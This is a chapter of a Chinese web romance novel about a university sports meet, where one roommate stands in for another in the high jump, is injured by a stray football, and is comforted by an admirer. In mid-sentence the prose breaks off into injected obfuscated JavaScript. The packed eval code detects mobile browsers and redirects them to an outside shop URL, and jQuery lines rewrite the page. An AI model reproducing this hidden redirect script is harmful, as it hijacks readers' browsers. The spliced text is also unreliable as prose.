26. 因为受伤的是你啊
作品:《永不褪色的激情澎湃》 在期末月来临之前,宜大举行了一年一度的校运会。
校运会定在周末那两天,结果可想而知,学生们参与的积极性并不高。但时间已经定下来了,赞助也拉了,就算没有观众,那也必须得有参赛的运动员。
作为百里挑一的幸运儿,张灵成功被辅导员抽号选去参加大一女子跳高……
511宿舍里,张灵同学欲哭无泪,她已经在宿舍哀嚎了一天了。
“我的命怎么这么苦啊!”
“凭什么啊!大周末的,大家都去上自习,去吃漂亮饭,搞社团活动,逛街,shopping,谈恋爱……为什么只有我要去参加跳高比赛啊!”
“我这么短胳膊短腿的小女孩,跳得过去吗!”
“怎么会有我这么可怜的小倒霉蛋啊!”
徐蓉芊宽慰她说:“别嚎了女鹅,你放心,妈咪与你同在,等你跳高比赛那天,我一定全程陪着。”
“我不要,我周末两天都跟朋友约好了去郊外农场采风拍照的,我真的不想爽约啊,尤其还是要爽约去跳高!”张灵嚎得更大声了,“我压根就不会跳啊!那个杆子都比我长!”
裴亚补刀道:“那确实是,那根横杆得有四米长了吧,你也是很会比。”
张灵:“呜呜呜——”
徐蓉芊翻着运动员手册,神色凝重:“天哪,不得了!去年宜大的女子跳高起始高度是一米七!”
张灵眼睛一下子瞪大了:“多少?一米七?那我都不用跳了,直接就能从下面穿过去,我们宿舍也就伊伊和亚亚有这个跳跃过去的潜力吧!”
裴亚摆摆手,“我肢体协调能力很差的,跳不来。”
“呜呜呜……”张灵开始歇斯底里咆哮,“连身高一米七四的裴亚都跳不了,我这一米五八的不是去丢人显眼的嘛!”
“没事啦,没什么人看校运会,丢不了多少人的。”
“那我也不想跳嘛。”
“导员那边怎么说,非你不可吗?”
张灵吸溜着鼻子,“怎么可能非我不可,无非就是没人想去才抽号啊!她说,除非我能找到有人愿意替我去的,那我就不用参加了,这怎么可能嘛,要是搁你们,你们想去啊?”
裴亚看了眼一直安静听着的邢唯伊,半开玩笑道:“说不定她愿意呢!”
“嗯?”张灵擦着眼泪,怀疑自己听错了,“别开玩笑了,伊伊可是女神。”
邢唯伊撇撇嘴,她说:“也可以。”
“哇!伊伊!真的吗?你愿意替我去参加跳高比赛!”
“啊啊啊啊!我爱死你了!”张灵擤着鼻涕,又哭又笑的,她把用完的纸揉成团扔掉,然后猛地扑上来抱着邢唯伊。
“以后你就是我的神,草民将永远信奉你,至死不渝!呜呜呜呜,好爱你啊!你怎么这么好呢!”
邢唯伊无奈地摸摸她的头,“嗯,别哭了。”
裴亚朝她比了个大拇指,徐蓉芊也是震惊不已。
既然决定参加比赛,那势必要练习一下了。对邢唯伊来说,跳高并不算是多大的挑战,中学时期,她蝉联了多年校园里的跳高冠军,还参加过省里的选拔,只是她志不在此,慢慢淡出训练了。她最擅长的就是背越式跳跃,不仅动作标准流畅,落下的动作也行云流水,身姿轻盈,关键是跳的还高!
傍晚的时候,舍友们都陪着邢唯伊在跳高场地上练习,看着她神色沉静从容,不费吹灰之力地一次又一次过杆。
邢唯伊轻巧落在软垫中央,顺势屈膝稳稳卸力,身形依旧很稳,没有半分踉跄。
裴亚忍不住感慨:“哇哦!邢唯伊!有点东西啊!还有什么是你不会的吗?”
“女神好棒!”
片刻后,邢唯伊从容起身,晚风拂过,几缕碎发垂落在她颊边,她抬了抬纤细白皙的手指,将鬓边的碎发别至耳后。再抬眼时眉目清冷,神情淡定自若,活脱脱一位优雅矜贵的公主。
“我的天!她好美啊!”
“是啊!”
“?!!”突然混进来一个男声,三人齐齐扭头看去,池阅不知道是什么时候站在她们旁边的。
“嗨,你们好呀。”
“嗨,池阅。”
“邢唯伊!”池阅和她们几个打完招呼之后就朝着邢唯伊扑过去了,“你怎么这么厉害啊,跳得那么高!”
“嗯。”邢唯伊语气平淡,脚步不停,她朝着舍友们走过来,接过她们递来的水。
“你是在为校运会做准备吗?你要参加女子跳高?”
“嗯。”
“哇,太巧了吧,我也要参加。”
裴亚几个自觉让出位置,给他俩匀出空间,不过池阅看起来好像也没有很在意她们三个的存在。于是裴亚对着另外两人说:“要不我们三个再去买点水吧。”
“好呀好呀。”
“走走走。”
邢唯伊扫了一眼池阅,发现对方穿着跑鞋,额间鬓角还在冒汗,她问:“在跑步吗?”
“对呀,没想到跑步也能遇到你。我也在练习,我要参加男子三千米。”
“三千米?是被抽中的吗?”
池阅点点头,随即又摇摇头,“我本来是被抽中去扔铅球的,有人找我换了。反正都要参加,比什么对我来说都差不多吧,正好我也很擅长长跑。”
邢唯伊:“你心态真好。”
“那当然啦!我可是典型的乐观主义者!你呢,你不会也是被抽中的吧?还是说,是你自己报名的?”
“抽中了张灵,我替她的。”
“什么?”池阅愣了一下,眼睛睁得大大的,“你居然是去替别人参加哎!”
邢唯伊不解:“怎么了吗?”
“没有没有。第一反应挺意外的,可仔细想想,你确实是会这么做的人。”
邢唯伊没说话,她看向远处,找寻着舍友们的身影。
“你看起来很专业的样子,你之前练过吗?凭你这实力,一定能拿到第一的!”
“你训练的时候还是要小心一点哦,比赛那天我会全程跟着你的,千万保护好自己,不要让自己受伤,好吗?”
邢唯伊收回视线,身旁的池阅还在喋喋不休,她拧开瓶子把剩下的水都喝了。
“你还要练习吗?我陪你。”
邢唯伊把空瓶子扔进旁边的垃圾桶,“不练了,回去了。”
“那我送你。”
……
运动会当天,赛事时间安排上,大一男子三千米和女子跳高的时间撞到一起了。
一直到运动员检录的时候,池阅还跟在邢唯伊后面。广播播报了两遍让池阅过去检录,他还是不舍得离开。
徐蓉芊说:“伊伊有我们在呢,你还是专心自己的比赛吧。”
裴亚:“快走吧,广播马上要催第三遍了。”
池阅一步一回头,最后又放心不下跑回来,“邢唯伊!加油!还有,不要让自己受伤。”
邢唯伊点点头:“嗯,快去检录吧。”
池阅刚跑起来,还没跑多远又扭过头来喊道:“我会尽快跑完过来给你加油的!希望能赶上!”
“……”
在池阅他们跑第一圈的时候,跳高这边也正式起跳了。池阅跑到跳高场地外围时,他分出心来留意那边的情况。
邢唯伊还没开始跳,她把头发高高扎起,干净又利落。她站在阳光底下,整个人白的不像话。
池阅卯足了劲跑,几乎全程都在加速,哪怕快要力竭了,他也没收力,只想赶紧跑完。
跑到最后一圈的时候,跳高那边围了好多人,应该是要决出胜负了。然而还没等他越过终点,他就看到,邢唯伊被几个女生搀扶着出来。
???
……
在最后剩下三个人的比拼中,邢唯伊本来是最有机会破纪录过杆的,只是在她助跑的时候,操场那边横空飞来一颗足球,刚刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638919|206657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好就在她起跳前猛地砸向她的脚,杆子掉落,她也跟着重重地摔下来。
她的膝盖先磕在地面,手肘蹭过地上的塑胶,脚踝崴了一下,再也支撑不起身体了。
她没法站起来,更别提继续参加比赛,就这样止步第三名了。
裴亚和徐蓉芊冲过来要把她扶起来,旁边指导老师喊着:“快带她去校医院。”
“还能站起来吗?”裴亚问。
邢唯伊疼得说不出话,她摇了摇头。
“来,我背你。”
在其他同学的帮助下,裴亚把邢唯伊背起来,带着她去找校医处理伤口,徐蓉芊留则在原地替邢唯伊走完剩下的比赛流程。
等到池阅冲过终点后,看到的只是裴亚背着邢唯伊的背影,他没有时间喘息,抬脚就是跑着跟上去。
“哎哎哎,你上哪去,还没登记呢,你是冠军,要去签字合影还有领奖的。”池阅被一群人拦下来,他朝着边上的朋友喊道:“肖哥!帮我一下,我有急事。”
……
校医院里,裴亚去叫医生了,邢唯伊一个人坐在病床上,疼痛让她不停地冒冷汗。她的左边膝盖上全是血,手肘上也有擦伤,右脚踝已经肿起来了。
“邢唯伊在哪呢?你好,请问你有没有看到刚刚有个女生背着另一个女生过来?”
听到熟悉的声音,邢唯伊抬眼,正好与气喘吁吁跑来的池阅对视上。
“你在这!”池阅一下子脱力跪在她的床边。
“哎。”邢唯伊从摔倒受伤到现在,一个字没喊,现在倒是被池阅吓到了。
裴亚带着医生也到了,“池阅?快让一下,先让医生看看。”
池阅听到迅速挪开,双眼死死地盯着邢唯伊腿上触目惊心的伤口。
医生检查过后说她其他部位只是皮外伤,脚踝是软组织挫伤。其他医护人员很快端来药品,动作轻柔地帮她消毒包扎。
“疼不疼?”池阅心都揪在一块了,他自问自答着:“肯定很疼吧,”
“好好的怎么会伤成这样?嗯?是不小心摔了吗?”他看着邢唯伊,又看了看裴亚。
裴亚:“不是她的原因,不知道从哪冒出的足球,在她起跳的时候突然砸过来的。”
“什么?足球?知道是谁吗?砸到人了有过来道歉吗?”
“没有,不知道是谁,溜得无影无踪。”
池阅脸一下子就阴沉下来,“怎么会有这样的人!操场上又不是没有监控。”
“你们来个人跟我去药房拿药……”
裴亚起身说:“我去吧。”
“怎么样?有没有感觉好一点?身上其他地方有没有伤?”池阅站起来仔细扫视着邢唯伊。
她闭着眼睛点点头。
池阅心疼得不行,他说:“你放心,我一定会去把那个人找出来的。”
邢唯伊缓缓睁开眼,“你找这个人干什么?运动受伤再正常不过了,对方也不是故意的,这只是个意外。”
“这明明就是蓄意伤害!跳高场地离得那么远,他到底怎么踢球的,居然会踢到跳高的人?”
邢唯伊皱眉:“你发什么脾气?受伤的又不是你。”
池阅声音一下子弱下来:“就是因为受伤的人是你啊……”
“我好后悔,我就不应该答应和别人换项目,如果在你跳高的时候我陪在你身边,说不定就能帮你挡下这个球了。”
邢唯伊无奈:“说这些干什么?这又不关你的事。”
“可是我要难受死了。”池阅双眼通红,声音哽咽,“明明离得那么近,可我却没办法保护你。”
“……”
透过池阅的眼睛,邢唯伊感受到了他此时的情绪,也慢慢理解了他的难过。
这种感觉很奇怪,就像是在她的心口处挠着抓着,心脏传来一阵阵的酥麻。她觉得自己现在正端着一个空碗,池阅在不停地往里倒水,水越来越满,就快溢出来了。

